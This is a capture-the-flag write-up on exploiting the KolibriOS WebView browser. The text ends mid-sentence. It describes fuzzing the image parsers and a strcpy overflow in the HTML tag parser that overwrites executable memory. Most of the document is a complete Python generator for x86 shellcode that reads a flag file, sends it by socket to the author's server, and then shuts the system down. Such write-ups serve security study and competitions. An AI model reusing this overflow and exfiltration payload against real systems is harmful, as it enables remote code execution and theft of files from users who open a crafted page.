The challenge targets the WebView browser in the KolibriOS project. The KolibriOS user (infra) will visit an html page you provide. The goal is to provide a crafted page which exploits a “0day” vulnerability to exfiltrate the flag at /hd0/1/flag.txt.
What may make it tricky is that everything is implemented in x86-32 FASM assembly and C–.
The browser supports basic HTML rendering and a few image formats. The image parsers are an excellent starting point: quite a few formats (13) and all implemented in x86 assembly. AFL++ is an ideal candidate for searching for bugs in such code: setting up a harness is simple, QEMU mode can be trivially enabled when static instrumentation is not possible, and fuzz corpuses for image formats are widely available.
A super simple approach found 90 “unique” crashes in 16 hours of fuzzing. IIRC, there were all kinds of bugs in all of the parsers: null ptr derefs, buffer overflows, interger wrap arounds, random-looking access. Unfortunately, I couldn’t really exploit any of these or just lost patience knowing they will be something simpler.
There’s a much easier bug to exploit, and then other teams proved there are even easier ones…
There’s a buffer overflow when handling HTML tags.
The overflow happens in file programs/cmm/browser/TWB/parse_tag.h
in _tag::parse
.
Since there is no zero byte at the end of name
and prior
is immediately after name
, this leads to an infinite strcpy
.
This turns out to be well-exploitable in KolibriOS because most of memory is mapped as RWX and the instruction is a little after the tag object.
When the rep
prefix is overwritten, the instruction will be re-fetched and executed.
The exploit turns out to be fairly simple: overwrite with a relative-jump opcode to jump into the provided payload, payload reads the file and connects to a remote server to send the flag.
Code for payload:
def gen_payload():
print("Generate payload", file=sys.stderr)
tok = b"\x90" * 11 + b"\xeb" + b"b" * 11 + b"\x8d\x64\x24\x18\xc3" + b"a" * 4
payload1 = b"<html><head></head><body>"
payload1 += b"<" + tok + b"></" + tok + b">"
load_flag_into_memory = asm("""
nop
mov eax, 0x0
push eax
mov eax, 0x00747874
push eax
mov eax, 0x2e67616c
push eax
mov eax, 0x662f312f
push eax
mov eax, 0x3064682f
push eax
mov eax, 0x20030
push eax
mov eax, 0x100
push eax
mov eax, 0x0
push eax
mov eax, 0x0
push eax
mov eax, 0x0
push eax
lea ebx, [esp]
mov eax, 70
int 0x40
""" , arch="i386")
conn_and_send_flag = asm("""
nop
mov ebx, 0x20000
mov eax, 0x2f64722f
mov [ebx], eax
mov eax, 0x656e2f31
mov [ebx + 4], eax
mov eax, 0x726f7774
mov [ebx + 8], eax
mov eax, 0x65772f6b
mov [ebx + 0xc], eax
mov eax, 0x65697662
mov [ebx + 0x10], eax
mov eax, 0x20200077
mov [ebx + 0x14], eax
mov eax, 0x70747468
mov [ebx + 0x18], eax
mov eax, 0x312f2f3a
mov [ebx + 0x1c], eax
mov eax, 0x312e3239
mov [ebx + 0x20], eax
mov eax, 0x312e3836
mov [ebx + 0x24], eax
mov eax, 0x383a362e
mov [ebx + 0x28], eax
mov eax, 0x2f303030
mov [ebx + 0x2c], eax
mov eax, 0x0
push eax
push eax
mov eax, 0x20000
mov [esp+0x1], eax
mov eax, 0x0
push eax
mov eax, 0x0
push eax
mov eax, 0x20018
push eax
mov eax, 0x1
push eax
mov eax, 0x7
push eax
lea ebx, [esp]
mov eax, 70
int 0x40
mov eax, 75
mov ebx, 0
mov ecx, 1
mov edx, 2
mov esi, 0
int 0x40
mov ecx, eax
mov ebx, 5
mov eax, 69
int 0x40
""", arch="i386")
conn_and_send_flag = asm(f"""
mov eax, 75
mov ebx, 0
mov ecx, 2
mov edx, 1
mov esi, 0
int 0x40
mov ecx, eax
mov eax, 0x10000
mov [eax], ecx
mov ebx, 0x20000
mov ax, 0x2
mov [ebx], ax
mov ax, {MY_HTTP_SERVER_PORT_BE}
mov [ebx+2], ax
mov eax, {MY_HTTP_SERVER_IP_DECIMAL}
mov [ebx+4], eax
mov eax, 0x0
mov [ebx+8], eax
mov [ebx+12], eax
mov [ebx+14], eax
mov eax, 75
mov edx, ebx
mov ebx, 4
mov esi, 18
int 0x40
mov ecx, [0x10000]
mov edx, 0x20030
mov esi, 0x100
mov ebx, 6
mov eax, 75
mov edi, 0
int 0x40
""", arch="i386")
shutdown = asm("""
mov eax, 18
mov ebx, 9
mov ecx, 2
int 0x40
""", arch="i386")
code = load_flag_into_memory + conn_and_send_flag + shutdown
payload2 = b"<" + code + b">asd</" + code + b"ABCDE>"
full_payload = payload1 + payload2
return full_payload
Debugging KolibriOS was a tiny bit painful: file format was custom, OS itself was buggy, no image with symbols, DEBUG debugger barebone and buggy. For debugging, I ended up employing th technique: